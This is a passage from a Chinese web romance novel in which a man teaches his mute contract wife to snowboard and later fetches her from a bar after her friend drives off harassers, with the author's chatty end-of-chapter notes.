诸愿长长地松了口气,忍不住为这精湛的技术鼓起掌来。同一时间,场馆里爆发出雷鸣般的欢呼。 那人抬手拂去肩头落雪,转过身面向观众席时,风雪掠过他线条分明的侧脸。 灯光下,他唇角勾起一抹张扬的弧度,身后雪粉飞扬,像幅刚从风雪里拓下来的画,凛冽又惊艳。 他似乎不在乎裁判报出的成绩,径直朝着观众席走来,在她面前站定。 摘下护目镜的瞬间,那双深邃的眼眸撞进诸愿的视线里。他伸出手,声音里带着点风雪的凉意,却异常清晰:“试试?” 诸愿仰着头呆呆地望着,脑子里一片空白。 怎么也没想到,这人竟是顾识弈! 诸愿被他拉着坐在雪地里时,脑子还有些发怔。 雪馆的风卷着细碎的雪沫掠过耳畔,她眼睁睁看着顾识弈屈膝蹲在自己面前,指尖利落地穿过雪靴与雪板的固定卡扣,动作专注得像是在摆弄什么精密仪器。 直到被他半扶半牵地带到雪道上,脚下的雪板碾过蓬松的积雪,发出簌簌地轻响,诸愿才后知后觉地回神。 她竟然真的站在了白茫茫的雪地上,而身边牵着她的人,是顾识弈。 她下意识回头想找林秘书,想问清楚这到底是怎么回事。 是原本给她请的教练就是顾识弈,还是另有其人?若是后者,自己这么跟着顾识弈走了,放了教练鸽子,对方会不会生气? 思绪正乱着,后颈忽然传来一道轻缓的力道,将她的脑袋转了回来,顾识弈的声音隔着风雪传来:“回头。” 诸愿乖乖转过来,就听他又说:“昨天刷的视频,学了什么动作,做给我看看。” 那语气平铺直叙,俨然像个正经教练,奇异地让她生出顺从的念头。 她依着视频里教的零基础动作,试着单脚滑行,再慢慢刹车,一套动作做完,手心都沁出了薄汗。 诸愿有些忐忑地抬眼看他,像等待评判的小朋友。 顾识弈的眼神里带着点不易察觉的赞许:“不错,做得很标准。” 他顿了顿,又问:“想不想试试上雪直接滑行的感觉?” 诸愿戴着头盔,微微歪了歪头,没太明白。 下一秒,他伸过手来,轻轻分开她交握在身前的两只手,掌心相触的瞬间,隔着厚实的手套都能感受到他的体温,声音清晰地落在耳边:“身体站直,右脚往下踩。” 诸愿脑子里还有些懵懂,身体却先一步照做。 雪板忽然往前滑出一小段,诸愿心头一紧,连忙反抓住他的手,护目镜里的眼睛直直望着他。她没法开口说话,只能用力攥紧他的手,企图让他明白自己想停下。 顾识弈的手套被捏得几乎变形,却像是没感觉到手指的疼痛,任由她死死攥着,声音依旧平稳:“膝盖弯曲,往下踩。” 这情形像是赶鸭子上架,雪板已经带着她滑了出去,如果顾识弈不让她停下,诸愿只能咬着牙听他引导。 好在他的手始终没有松开。 风从耳边呼啸而过,带着雪粒的凉意刮过脸颊,脚下的雪道渐渐展开,诸愿内心一阵阵惊呼,没想到自己竟然真的滑了起来! 直到完整地滑完一条雪道,她才停下。一把摘下护目镜,眼睛亮晶晶的,正想回头跟身后的人分享这份欣喜,却发现顾识弈不知何时已经松了手,正站在半山坡偏下的位置。 见她望过来,他唇角似乎噙着点浅淡的笑意。 诸愿一时有些怔忡,说不清是该气他悄悄松了手,还是该为自己不仅滑起来还是独自滑下来而高兴。 奇怪的是,心底还有另外一种情绪冲撞着她,像被雪粒砸过,又麻又痒。 有了这次没摔跤的尝试,诸愿胆子大了不少,算是无痛跳过了新人不敢动那关。 又跟着滑了两遍,觉得自己大概掌握了基本功,没等顾识弈开口,便试着独自做左右落叶飘。 谁知刚摆动身姿,雪板竟不受控制地朝护栏冲去。 诸愿脑子里一片空白,连就地摔屁股墩紧急停下都忘了,眼看就要撞上,她吓得猛地闭上眼。 预想中的撞击没有来,一双有力的手臂从前方伸来,稳稳扶住她的胳膊,将她拦了下来。 诸愿缓缓睁开眼,透过有些模糊的护目镜,看见身前站着的人穿着黑色雪服,是顾识弈。 他胸口还沾着刚才急冲过来时带起的雪沫,呼吸比平时略重些。 刚才那瞬间的后怕一下子涌了上来,眼泪毫无征兆地夺眶而出。她没出息地一把抱住他,脸颊抵着他冰凉的雪服,心脏在胸腔里怦怦直跳。 她不敢想,若是真撞上护栏会怎么样。 昨天刷视频时,明明看到过初学者撞护栏摔骨折、被人抬走的新闻。 刚才竟因为一点小小的成就感,就忘了那些教训。 顾识弈轻轻拍着她的背,动作带着点生涩的安抚,语气里难得染上温度:“没事了。” 但那之后,诸愿再不敢轻易尝试,只有攥着顾识弈的手才敢滑行,一旦觉得要失衡,就死死抱住他不放,像抓住救命稻草。 顾识弈也不恼,只是回抱住她,等少女那股害怕劲儿过去,又耐心地一遍遍教她,直到她再次鼓起勇气尝试独自滑雪。 一小时的钟敲响时,诸愿正好完成一套还算标准的左右落叶飘。 她开心地扬起嘴角,眉眼弯成好看的月牙。 顾识弈看着她,也微微笑了起来:“不错。”顿了顿,又问:“要不要休息一下?” 直到这时,诸愿才听见钟声后播报的时间,原来已经到中午了。 她点点头,正想蹲下身脱雪板,顾识弈却先一步在她面前蹲下。 诸愿迟钝地垂下眸,居高临下地看着他再次利落地替自己解开固定器的卡扣。 指尖偶尔擦过她的雪靴,带来一阵微麻的触感,不知怎的,脸颊忽然有些发烫,连带着耳尖都热了起来。 就在这时,旁边传来一阵争吵声。 斜上方四十五度角的位置,一蓝一红两件雪服撞在一起,女生的声音带着点哭腔的委屈:“你叹什么气?是不是不耐烦了,不想教我了?” 男生的声音有些冲:“什么叫不想教?你自己看看,学了一个小时,还得我扶着。我花了这么多钱,也想自己滑会儿啊。” “我第一次学,一个小时没学会怎么了?当初是你说要来滑雪的,我本来想去逛街的!现在叫我来了,又不想教,又不想花钱请教练,难不成让我站一边看你玩?” 男人像是被激怒了,声音徒然拔高:“谁知道你这么笨,怎么教都教不会……” “好了,走吧。”顾识弈的声音适时打断这场争吵,带着他惯有的平静。 诸愿赶紧点头,快步跟上他的脚步,再没回头。 换下雪服,洗过澡,诸愿被顾识弈带到同栋楼的餐厅坐下。 落地窗外是皑皑人造雪山,暖黄的灯光晒在桌面上,驱散了一身寒气。 “诸愿?” 她回过神,原来顾识弈在问她想吃什么,自己却在发呆。诸愿慌忙指了指菜单上的牛排。 顾识弈叫侍应生记下菜单,等人走了,才看向她,目光落在她微蹙的眉头上:“没学会换刃,不开心?” 诸愿连忙摇头。 自从刚才差点撞栏,她早就没了觉得滑雪简单的念头,能学会落叶飘已经很满足了。 可顾识弈显然没打算放过这个话题,又问:“那是为什么不开心?” 诸愿知道他的性子,一旦察觉不对劲,总要问个明白。 她拿出手机,老实打字:【你教我,会不会耽误你玩的时间?】 顾识弈挑眉,指尖在桌面上轻轻点了点:“你刚才一直低头,就是在想这个?” 诸愿不确定自己是不是一直低着头,但确实满脑子都是这个。 中午那对情侣的争吵还 在耳边盘旋,她忽然意识到,除了专业的教练,普通人的耐心总是有限的。 连答应女朋友的男生都会不耐烦,何况顾识弈本没答应教她,自己一个初学者频频出错,怎么会不令人厌烦。 “不会。”顾识弈言简意赅,见她还是睁着那双写满“不信”的眼睛,他像是有些无奈,补充道,“我很喜欢教人,有成就感。这个回答,你满意吗?” 诸愿惊讶地睁大眼睛,长长的睫毛忽闪了两下,露出一副“原来是这样”的表情。 她知道有些人确实喜欢“好为人师”,顾识弈这么优秀,教其他人简直是绰绰有余,倒也没怀疑他的话。 下午,换上干洗好的粉色雪服,诸愿再次站上雪道。 顾识弈依旧耐心指导,她想着他喜欢这样,便也放下心来,坦然接受他的帮助。 热身了两遍,再次上到滑雪道,诸愿想再次尝试独自滑行,刚跟顾识弈表达完想法,旁边就传来一道女声:“这位帅哥,你是教练吗?” 女生指了指诸愿,脸上带着期待的笑:“我看你教这位女生很有耐心,讲解得也清楚。正好她现在不用你教了,我买你的课,你现在教我可不可以?” 原来是顾识弈在教诸愿时,除非必要,举止绅士,技术又好,竟让人误会是教练了。 诸愿的心猛地一紧,莫名怕他答应。虽然想自己试试,但一朝被蛇咬十年怕井绳,身边有个人看着,总归更安心些。 可中午才听过他说喜欢教人,他能教自己,自然也能教别人,自己总不能拦着他的兴致。 她站在一旁,指尖悄悄蜷缩起来,看着那女生又问:“帅哥,你一个小时多少钱呀?” 顾识弈的目光先掠过诸愿,在她微抿的唇上停顿了半秒,才落在那女生身上。 就在诸愿以为他会回答“好”的时候,顾识弈揽过她的腰,语气平淡却清晰地说:“不好意思,我只教我老婆。” 诸愿怔怔地仰头望着他,感觉心跳又一次不受控制地快了起来,像是要跳出胸腔。 女生走了,顾识弈侧头就看见诸愿目光灼灼地盯着他,耳根热了起来,心也慌乱,下意识道:“你就是这样扮演‘顾太太’的?” 诸愿立马回神,原来是为了演戏才说的那句话。 旖旎的氛围快速消散,她收住胡思乱想,赶忙在他手心写下道歉:【对不起!请原谅我,下次我一定做好。】—— 作者有话说:谢谢您们陪我走到这一章[抱抱] 今天会有抽奖活动哦,宝子们记得参加~[亲亲] 下章明天见[撒花] 厚着脸皮能不能拜托大家两件事: ①不要养肥好不好,我会日更的[爆哭] ②点点隔壁预收小星星助力开文可以不可以[求你了][求求你了] 谢谢谢谢大家,祝大家恭喜发财[元宝][元宝] 第17章 顾识弈张了张嘴,他其实不是这个意思。 话到嘴边,又咽了回去。 夜色渐浓。 诸愿擦干头发,双腿屈膝坐在床沿上,指尖掠过膝盖那片泛红的肌肤,细腻的皮肉下,隐隐传来钝疼。 她摸出手机,屏幕的光映亮眼底的不安。 划开百科页面,关于滑雪后膝盖不适的解释跳了出来——过度发力、低温刺激,都会让膝盖局部组织受损,引发肿胀和疼痛。 诸愿试探地按了按膝盖,还好,只是疼,没肿起来,算是不幸里的一点侥幸。 再往下翻,缓解方法也写得明明白白:急性期48小时内冷敷,之后换热敷,搭配按摩效果更佳。 她正想起身去找静姨要冰,房门忽然被轻轻敲响。 拉开门的瞬间,诸愿愣住了。 静姨端着托盘站在门外,冰袋、毛巾、精油整整齐齐地摆在上面,一看便知是做什么用的。 “太太。”静姨笑着开口,语气里裹着温和的关切。 诸愿心里一动,刚侧身让静姨进来,目光就瞥见静姨身后跟着的顾识弈。 她不由得歪了歪头,手僵在门把手上一时忘了动作,顾识弈便这样直接走了进来。 静姨把托盘放在床尾凳上,又把窗边的沙发移到床边,转头对她说:“太太快坐下吧,顾总来帮您按膝盖。” 诸愿瞪圆眼睛,连忙在手机上打字:【谢谢顾总,但您今天陪了我一天了,不好再耽误您的时间,静姨帮我就行。】 刚拆完冰袋的静姨扫了眼屏幕,没等顾识弈开口便摆摆手作答:“太太,这按摩可有讲究,轻了没用,重了可能更疼,我可没这本事。” 说罢,借着要准备明天早点的由头,她快步退出了房间,临走时还贴心地带上门。 诸愿刚敲出“那您”两个字,就听顾识弈像是预判了她的问题,答道:“我初次滑雪时专门学过,有经验。” 她脸颊悄悄泛起热意,想解释自己并非质疑他的专业性,只是让顾识弈这样矜贵的人给她按摩,怎么想都觉得别扭。 可拒绝的话还没打出来,就见他在沙发上坐下,漫不经心地说:“你当初硬要给我上药时,可没这么多顾虑。” 诸愿一怔,手指悬在屏幕上。 她什么时候帮他上过药? 许是见她迟迟不动,顾识弈的语气添了丝不容置疑的强硬,像白天在滑雪馆时那样:“教练的话都不听?” “过来坐好。” 这句话像按下开关,那些关于男女有别的别扭瞬间散了。 诸愿立马变成白天那个听话的学员,几乎同手同脚地挪到他面前坐下。 她穿着短裤不用挽裤脚,刚伸直腿,就被顾识弈捞过去,稳稳放在他的腿上。 隔着一层薄薄的西装裤,她清晰地感受到布料下属于男性的、沉稳而蓬勃的力量。 诸愿心头一跳,下意识又想缩回腿,可他按着她的力道很稳,竟一丝也动不了。 顾识弈拿起冰毛巾,轻轻覆在她的膝盖上。凉意骤然袭来,诸愿的脚趾不受控制地蜷了一下。 他抬眼瞥她,那眼神里似有似无的提醒,让她瞬间定住,再不敢动。 可接下来的按摩,却让她陷入了两难:力道恰到好处,既缓解了骨头深处的酸痛,又带着点难以言说的酸胀感,像是痛过之后的舒爽。可他指尖偶尔触碰到的肌肤,又带着一种微妙的痒意,让她敏感的下意识想缩腿。 不过诸愿并不敢真的动,怕他觉得麻烦,只能咬着唇,默默忍着。 她没察觉,自己放在他大腿上的双腿,正因为那细微的不适,无意识地轻轻蹭着他的西裤。 顾识弈指尖按压着她膝盖周围的穴位,目光落在她咬得嫣红的唇瓣上。喉结滚动了一下,他忽略掉腿上传来若有似无的磨蹭,冷静地继续手上的动作。 直到拧紧精油的盖子,诸愿才彻底松了口气,动了动膝盖,那股钻心的疼竟真的消失了。 她抬头想道谢,却见他随手将用过的东西丢回托盘,丢下一句:“早点休息。”,便起身离开了房间。 快得她都没来得及打出“感谢”两个字。 望着空荡荡的门口,诸愿忽然反应过来,他刚才走路的姿势,好像有那么点不自然? 是……帮自己按摩太久,累着了? 她摸着不再疼痛的膝盖,脑子里冒出这个念头。 —— 一个星期的滑雪训练过得很快,诸愿已经能熟练地换刃了。 恰巧,向梦的取景地就在她训练的滑雪馆里,这下她更不怯场了。 到了拍摄日,动作几乎是一条过的,不到三个小时,所有雪服的照片、视频都拍完了。 下了雪地,监督进度的郑誉迎上来:“不愧是你,学东西总是这么快,不说的话,没人能看出你上周还完全不会滑雪。” 诸愿微微扬起嘴角,眼底带着笑意。 “看你滑得这么好,我都想学了。”郑誉跃跃欲试,“你怎么学的?要不把教练推荐给我,让我也能一个星期速成。” 诸愿闻言,想起了这一个星期里,白天耐心教她 、晚上细致为她上药、耽误了许多工作的顾识弈。 她早就不信他说的喜欢“好为人师”了,可也想不明白,他为什么这么无私地帮自己。 郑誉还在等自己回答,她打字:【没请教练,家里人教的。】 “这样啊。”郑誉像是明白了什么,没再多问,让她去换下雪服。 六点,诸愿刚走出换衣间,苏沐的语音通话就弹了出来。 她点了接听。 那头没了往日的咋咋呼呼,反而呜咽起来:“诸愿呜呜,我失恋了,你快出来陪我买醉……” 悲戚的哭腔透过听筒传来,诸愿听得心头一紧,知道苏沐是真伤心了。 她叩击两下屏幕,苏沐立即道:“地址发你。” 挂断电话,诸愿看着苏沐发来的酒吧地址,回了信息,又编辑消息让李叔先回去。 虽然让李叔送她去酒吧很方便,但这样一来,不出半个小时,顾识弈肯定就知道了她的行踪。 虽说对方没明令禁止她去哪里,但她自觉这不符合“顾太太”行为标准,还是偷偷去为好。 诸愿第二次来酒吧,都说一回生二回熟,这次她没好奇张望,径直朝苏沐给的桌号走去。 最左边的卡座里,苏沐踩在沙发上,冲对面喝得面红耳赤的男生喊:“你输了,喝喝喝!” 那男生在众人起哄下,只好把桌上满杯的酒一口干了,周围顿时嘻嘻哈哈。 诸愿趁苏沐要开始新一轮游戏时,赶紧上前拉人。 有人看见诸愿,吹了声口哨,伸出手就要来摸她:“呦,哪里来的小妹妹,长得真正,一起来啊——” 尾音在被苏沐踢中下身时陡然变调,男人捂着下面,表情狰狞。 苏沐“哼”了一声,“你也配?” 周围的人见状,男女都哈哈大笑起来。男生自觉丢了面子,捂着**步伐变扭地跑了。 诸愿始终保持着冷静,苏沐会跆拳道,她并不害怕。 苏沐伸手搭上她的肩膀,拐着她到吧台,大着舌头道:“要喝什么?我请你。” 诸愿比划:〈你喝醉了?〉 “我千杯不醉。” 诸愿放了心,用手语问:〈怎么就失恋了?不是谈得好好的?〉 她记得苏沐的男朋友是大学谈的初恋,这突然分手,实在让人猝不及防。 苏沐闻言,正好调酒小哥递过来一杯酒,她拿过来干了半杯,才骂骂咧咧地说起来。 内容从咒骂男朋友到老板再到同事,最后抱着诸愿大哭:“呜呜,只有愿愿你最好了。” 原来苏沐升职后就越来越忙了,她男朋友本就觉得她工资高伤了自尊,现在借着她平日加班没时间陪自己发火,让她离职跟他回老家创业。 苏沐气不过,直接提了分手,跑出来喝酒。 诸愿听完,点了点头,用手语表示支持:〈他配不上你。〉 苏沐干完剩下半杯酒,洒脱道:“那是,就当我这五年青春识人不清,喂了狗了。没关系,老娘现在正是事业上升期,不谈恋爱也罢!” 正好调酒师递来两杯新酒,苏沐自己拿了一杯,另外一杯推到诸愿手边:“为我们单身万岁,干杯!” 诸愿顿了下,对“单身”两个字有些心虚。 她不太会撒谎,怕被火眼金睛的苏沐看穿,赶紧拿起酒杯,和豪爽的苏沐碰了一下,喝了半杯。 酒有点辛辣,好在不苦,她放下心来。 苏沐越想越觉得不爽,正想再吐苦水,回头却发现诸愿不见了。 她眯着眼睛环视一圈,低头才看见趴在桌上、双眼紧闭的诸愿。 苏沐伸出手指,戳了戳少女白皙细嫩的脸蛋,“诸愿?” 没反应。 她呐呐道:“醉了?” 放下酒杯看了眼时间,快十点了,她结了账,拉起诸愿:“起来了,我送你回家。” 没想到这回诸愿有了反应,她摇了摇头,努力睁大眼睛,手比划着:〈不回家,不能回家。〉 苏沐了然:“你这副醉样回去,估计也会被你哥哥教训,那跟我回家吧,我帮您跟贺哥打招呼。” 就在苏沐要扶起诸愿时,她兜里的手机先响了。 两人关系亲近,学生时代苏沐没少帮不会说话的诸愿接电话,她便自然地拉开诸愿的拉链,掏出手机。 屏幕上显示着“顾老板”三个字。 苏沐联想到诸愿最近跟她聊的工作,这“顾老板”大概就是她的上司了。以诸愿对工作的珍惜程度,肯定不想错过耽误事。 她像以前那样滑开接听键,还没来得及开口,听筒里已传来一道成年男声,沉稳又奇异地透着一股急切:“什么时候回来?静姨说发了几条信息你都没回,她有点担心你。” 苏沐拿下手机又看了眼备注,确实是“顾老板”,不是什么家人亲戚。 那凭什么管诸愿回不回家? 酒意让她胆子壮了几分,对着话筒有些不客气道:“诸愿现在不方便,您有什么事跟我说,我回头转告她。” 听筒那头静了两秒,再开口时,声音徒然变得冷漠:“你们在喝酒?她的手机为什么在你手里?诸愿醉了!” 最后一句落下,苏沐心里一惊。 他怎么知道她们在喝酒?明明素不相识,被这连珠炮似的质问一逼,她竟没来由地有些心虚,像是偷偷带他的人闯祸被抓包了的窘迫。 她定了定神,含糊道:“她……她就是有点困,在旁边歇着呢。” “行。”那头的声音听着像是在极力忍耐,语气里那股居高临下的纡尊降贵几乎要溢出来:“麻烦你看好她。地址发我,我来接她。” 苏沐的眉头一下子拧得死紧,职场骚扰?还是什么别有用心的家伙? 她当即没了好脸色,语气也硬了起来:“你到底是谁?这么晚了找她干什么?” 终于,那头像是彻底没了耐心,三句话砸过来,砸得苏沐耳膜嗡嗡作响:“我是她丈夫,接我太太回家,有什么问题吗?”—— 作者有话说:诸愿:谁是我丈夫?你不是雇主吗?[问号] 第18章 她懵了足足三秒,猛地回头看向趴在前台睡得正沉的诸愿,又飞快转回头盯着还在通话中的手机屏幕,狠狠掐了自己大腿一把。 “嘶——” 清晰的痛感传来,证明她没听错,也不是喝多了产生幻觉。 等她回过伸来,嘴里已经下意识报出了酒吧的名字和地址。 挂了电话,苏沐盯着手机屏幕上“顾老板”三个字,脑子里乱糟糟的,唯一清晰的就是—— 诸愿到底啥时候结的婚啊?!!! 但这点震惊很快就被更强烈的担忧压了下去。 她扑到前台边,使劲摇晃着诸愿的胳膊,声音都带了点颤:“诸愿!诸愿快醒醒!你……你老公,说来抓你了!” “诸愿!你老公……抓……家……” 诸愿的意识像沉在海水里,昏昏沉沉的。 耳边似乎有呼喊声飘来,却像隔着一层膜,怎么也听不真切。 她四肢发软,眼皮重如千斤,想睁开眼,却只能任由自己往更深的黑暗里坠去。 苏沐看着趴在吧台上醉成一滩软泥的人,发起了愁。正转身想叫服务员来碗醒酒汤,后颈突然被人不轻不重地拍了一下。 “呦,美女,忙着呢?” 那轻佻的语调让苏沐心里直泛恶心。 她回头,就见方才被自己踹了一脚的瘦猴似的男人,正勾着个脖子上挂着金项链的胖子晃过来。 那金链在酒吧闪烁的灯光下泛着俗气的光,随着胖子的步子叮当作响。 “有本事,你现在当着我大哥的面再说一遍,‘我不配跟你玩’?”瘦猴歪着嘴笑,眼里的挑衅藏都藏不住。 苏沐小心地把诸愿的头往吧台上挪了挪,免得她磕着。 目光扫过眼前两人:瘦猴歡骨 高耸,像是被抽干了精气神;那金链男则胖得像口圆桶。 两人眼底都泛着不正常的青黑,一看就是被酒色掏空了身子的货色。 她抱起手臂,眉梢轻轻一扬,每个字都像冷嘲:“你、俩、统、统、不、配。” 金链男脸上的得意瞬间僵住,肥肉抖了抖,黑着脸骂道:“找死!” 他说着就伸手要来揪苏沐的头发,那架势倒像是要把人撕碎。 苏沐早有防备,灵巧地矮下身,躲过那只肥手的同时,抬脚精准地踹在男人胸口。 只听“嗷”一声闷哼,金链男像个木桶似的摔在地上,扬起一地碎彩纸。 酒吧里的重低音还在震耳欲聋,这边的骚动只引得周围几桌人侧目。 看热闹的人迅速围了过来,脸上带着兴奋的好奇,竟没一个人觉得害怕。 不过一分钟,地上已经躺了两个哼哼唧唧的男人。 苏沐抬手撩开贴在颊边的碎发,呼出一口气。 这架打得,真热! 周围瞬间爆发出一阵哄笑和掌声。 就在这时,酒吧经理带着两个保安才慢悠悠地晃过来,那拖沓的样子,像是早知道这边的事。 地上的金链男见了人,突然拔高了嗓子喊:“小舅子!你可来了!” 苏沐心里咯噔一下,这才明白,难怪这两人敢在法治社会的酒吧里如此嚣张,原来是后台有人! “这位小姐,不管怎么说,你把人打成这样,总得赔偿吧?”经理压根不听她解释,一开口就是赔钱,那理直气壮的样子差点让苏沐气笑了。 她掏出手机,屏幕在昏暗的光线下亮起:“那还是报警吧,让警察来评评理。” 经理却笑了,一副胜券在握的样子:“小姐,我们店里的监控刚好坏了,你报警对自己可没好处,万一被关进去几天,多不值当?大家都是体面人,何必呢?” “孙经理,赵老板要是知道你借着职位之便搞特殊,你说他会怎么想?” 一道吊儿郎当的声音突然自身后响起,带着点漫不经心的戏谑。 苏沐回头,就见酒吧门口立着两个身形颀长的男人。 说话的那位穿着潮牌卫衣,头发打理得像个男明星,面对周围投来的目光,脸上连点波澜都没有,仿佛天生就该被注视。 而他身边的男人,一身裁剪得体的黑色西服,身姿笔挺,周身散发着生人勿近的气场。 原来顾识弈从苏沐那里问出酒吧名字后,一边往这边赶,一边联系了在酒吧圈混得熟的章司年,让他带路。 一路火急火燎地冲进来,直到看见诸愿安安稳稳地趴在桌上,对周遭的闹剧毫无反应,他紧绷的神经才骤然松弛,可眼底却腾起另一簇火——明明是来酒吧喝酒,竟敢骗李叔说加班。 他安静地站在那里,苏沐顺着他沉稳的目光回头看了看,身后只有醉得不省人事的诸愿。 被称作孙经理的男人一看见那穿卫衣的青年,脸上的横肉立刻堆起谄媚的笑,点头哈腰地鞠躬:“章老板!这都是误会,误会!” “误会?”清冷的声音响起,是那个穿西装的男人,“不分青红皂白就要人赔偿,这也是误会?” 孙经理心里咯噔一下。 一个章司年就够他头疼了,这位看着面生,可能跟章家公子站在一起的,哪有简单角色?他赶紧摆手:“当然不是!” 章司年笑着接话,语气里的质问却藏不住:“哦?那刚才是谁说要赔偿的?我倒想听听,该谁赔偿给谁?” 孙经理要是这时候还看不出来两人是来护着苏沐的,就白混这么多年了。 他立刻调转枪口,对着地上的两个男人厉声喝道:“还不快给这位小姐道歉!” 那两人早就被章司年和顾识弈的气场震慑住了,此刻哪还敢犟嘴,连滚带爬地站起来连连道歉,又忙不迭地说:“是我们不对!我们赔钱!我们赔!” 一场闹剧总算落幕。 苏沐松了口气,刚想开口道谢,章司年已经凑了过来,笑容爽朗:“您好,我是章司年。您和诸愿没事吧?” 听到“诸愿”两个字,苏沐眼前一亮,脱口而出:“你不会就是阿愿的老公吧?” 章司年愣了一下,随即哈哈大笑:“你怎么会这么想?难道是觉得我比较……” 话没说完,他突然觉得后颈一凉,回头一看,顾识弈正用淬了冰似的眼神盯着他。 章司年心里一激灵,男人的直觉让他瞬间清醒,连忙摆手:“我不是!我真不是!” 这时,一直沉默的顾识弈迈开腿走了过来。苏沐看着他走近,心头莫名一跳,总觉得这张脸在哪里见过。 直到男人走到近前,那张轮廓分明的脸在灯光下愈发清晰,苏沐才猛地想起,这不就是上次在商场里遇见的那个像“皇帝”一样的男人吗? 顾识弈径直走到诸愿面前,声音冷淡如玉石碰撞:“我先带她回去” 这声音一入耳,苏沐立刻确认了,他就是电话里那个“顾老板”! 她的目光在醉倒的诸愿和顾识弈之间来回转了两圈。 所以,他才是诸愿的老公?!!! 眼看男人俯身就要把好友抱起来,苏沐猛地回过神,伸手拦住。 “等等!你怎么证明你是阿愿的……丈夫?” 男人抬眼看她,那眼神带着上位者对下位者的疏离。 苏沐被那目光看得有点发怵,却还是紧紧攥着诸愿的手腕不肯放。 谁知道他们是不是演的?现在的骗子手段那么高,保不齐专门练过这种清冷矜贵的范儿。 她掂量了一下,这两人看着就不好惹,硬拼肯定不行,赶紧悄悄握紧了手机。 好在这人没硬抢,他松开诸愿的手腕,从兜里掏出手机按了两下。 不过两秒,诸愿放在吧台上的手机就传来一阵震动,屏幕亮起,来电人赫然是“顾老板”。 苏沐看到那三个字,心里已经信了七八分。 紧接着,顾识弈调出支付宝里存着的结婚证,屏幕转向苏沐。 照片上,诸愿穿着洁白的衬衫,抿唇微笑,旁边同样穿着白衬衫的男人,正是他。 苏沐彻底信了,只是心里还是惊得不行。 诸愿这丫头,竟然真的结婚了! “现在,我可以带她走了吗?” 苏沐点点头,看着他那张始终没什么表情的脸,突然有点担心好友。 她忍不住解释:“是我失恋了,硬拉着诸愿来的。她性子单纯,被我劝着喝了点酒,其实她根本不会喝酒……” 章司年在一旁被她这护犊子的样子逗笑了,连忙打圆场:“放心,我这朋友看着冷,对自己人可不会乱来。” 顾识弈没再多说,俯身穿过诸愿的膝弯,稳稳地将人打横抱起,转身走出酒吧,上了停在门口的车。 驾驶座上的李叔一闻到酒气,顿觉天塌了。 下午的时候,他还在向梦楼下等着,太太突然发信息说要去拍夕阳外景,下班会自己打车回家,让他先回去。 太太平时乖巧懂事,他没多想就信了。 结果九点多,林秘书突然打电话来问太太是不是还在加班,他这才慌了神。 万万没想到,太太竟是跑到酒吧里喝酒! 李叔抹了把额角的汗,后座传来顾识弈淡漠的声音:“回去。” “诶!”他赶紧应着,发动汽车往万宜的方向开。 后座,顾识弈侧头看着怀里的人。 诸愿的脸颊泛着酒后的绯红,长长的睫毛像两把小扇子,轻轻垂着。 明明酒量这么差,还敢背着他偷偷来酒吧喝酒,被人觊觎还无法保护自己。 顾识弈越想,眉头就越拧越紧。 看来得好好给她个教训,才能长长记性。 车到万宜,顾识弈打开车门弯腰要把人抱下来,刚一动,怀里的人突然睁开了眼睛。 诸愿的眼神蒙着层水雾,定定地看了 他几秒,突然猛地往后缩,一直退到了另一侧的车门边。 然后毫无预兆的一边流泪一边拼命摇头。 那泪水和眼神里的恐惧,仿若刚到顾家,哭个不停又满眼害怕的样子。 顾识弈的心像是被什么东西刺了一下,他下意识放轻了声音,问道:“怎么了?” 诸愿不会说话,却着急地比划着手势。 那些手势又快又乱,顾识弈一个也看不懂。 他从未像此刻这样,迫切地想学会手语。 前排的李叔看着太太的动作:〈一手伸直左右摆了摆,另一手平伸,掌心向上,由外向里轻轻拉着。〉 他斗着胆子说:“太太是不是在说……‘不要’?” 顾识弈的眼神暗了暗。 不要什么? 不要下车? 还是—— 不要他?—— 作者有话说:诸愿:是的,不要你[可怜] PS:不好意思宝子们,明天比较特殊,更新时间可能会改成晚上10点哦,就改明天哈(当然也有可能不改哈,但大概率不会是中午12点更新的[托腮]) 还有还有,再提醒一下宝子们,除了活动抽奖外,评论区也会随机掉落十个红包哦[亲亲] 第19章 清晨的微光透过纱窗渗进房间,诸愿眨了眨酸涩的眼。 动了动身子,丝滑的真丝睡袍擦过肌肤,陌生的凉滑触感让她混沌的脑子清醒了一分。 脑海里碎片般的记忆涌上来:苏沐举着酒杯洒脱地喊“单身万岁”,杯盏碰撞的脆响里混着酒吧震耳欲聋的音乐,还有她迷迷糊糊时,苏沐说要带自己回家的话。 环视四周,入目是过分整洁的家具,像极了房产中介画册里的样板间。扫过墙角那盏设计感十足的落地灯,诸愿心头一跳。 这装修风格,怎么带着某种熟悉的冷硬感? 是酒店吗? 她暗自琢磨着,伸手去摸床头柜上的手机,想看看苏沐是否留了言。 指尖刚触到屏幕,解锁后的最顶上消息却让她瞬间僵住。 顾识弈:【醒了就下楼吃饭。】 下楼? 诸愿后颈的汗毛都竖了起来,猛地坐起身。 顾识弈怎么知道她没醒? 没吃饭? 她再次打量这间卧室,目光猝不及防撞上门口撑衣杆上挂着的黑色男士衬衫。 那是顾识弈常穿的牌子,袖口绣着的暗纹她绝不会认错! 熟悉感的来源终于有了答案。 她不会……又睡错房间了吧?! 诸愿像触到滚烫烙铁般,倏然弹下床,赤着脚冲到房门口时还抱着最后一丝侥幸。 直到看见鞋柜旁那双男士拖鞋,她的肩膀彻底垮了下来。 这就是顾识弈的卧室! 她踮着脚溜出去,脑子里已经乱成了一团乱麻:明明是和苏沐在酒吧喝酒,怎么醉到跑回了万宜?还睡到了顾识弈的床上?! 更奇怪的是,以顾识弈的性子,竟然没生气地把睡错卧室的她扔出去? 一路心惊胆战地溜回自己房间,匆匆冲了个澡换好衣服,她刚蹑手蹑脚走下楼梯,就和端着脏衣篓的静姨撞了个正着。 “太太醒了。”静姨的声音温和如常,“头还痛吗?我去盛碗粥给您醒醒酒。” 诸愿扯出个僵硬的笑,目光飞快扫过客厅。 没看见顾识弈的身影。 “顾总一早就去公司了,”静姨像是看穿了她的心思,笑着补充,“特意吩咐我好好照顾您。” 诸愿赶紧掏出手机打字:【我昨晚怎么回来的?衣服……】指尖敲到这却顿住了。 她和顾识弈虽然分房睡,但在静姨眼里,两人就是夫妻,要是莫名其妙问谁帮她换得衣服,未免太过奇怪。 静姨看完信息,却笑得坦荡:“是顾总把您带回来的。他说您喝了酒,直接躺床上不舒服,让我帮您换了衣服。” 原来是静姨换的。 诸愿松了口气,新的疑云却又冒了出来:顾识弈怎么会知道她在酒吧?又怎么会去接她? 正想追问,手机突然震动了一下,她点开对话框,是苏沐回复了她十分钟前发的【昨晚我们怎么分开的?】 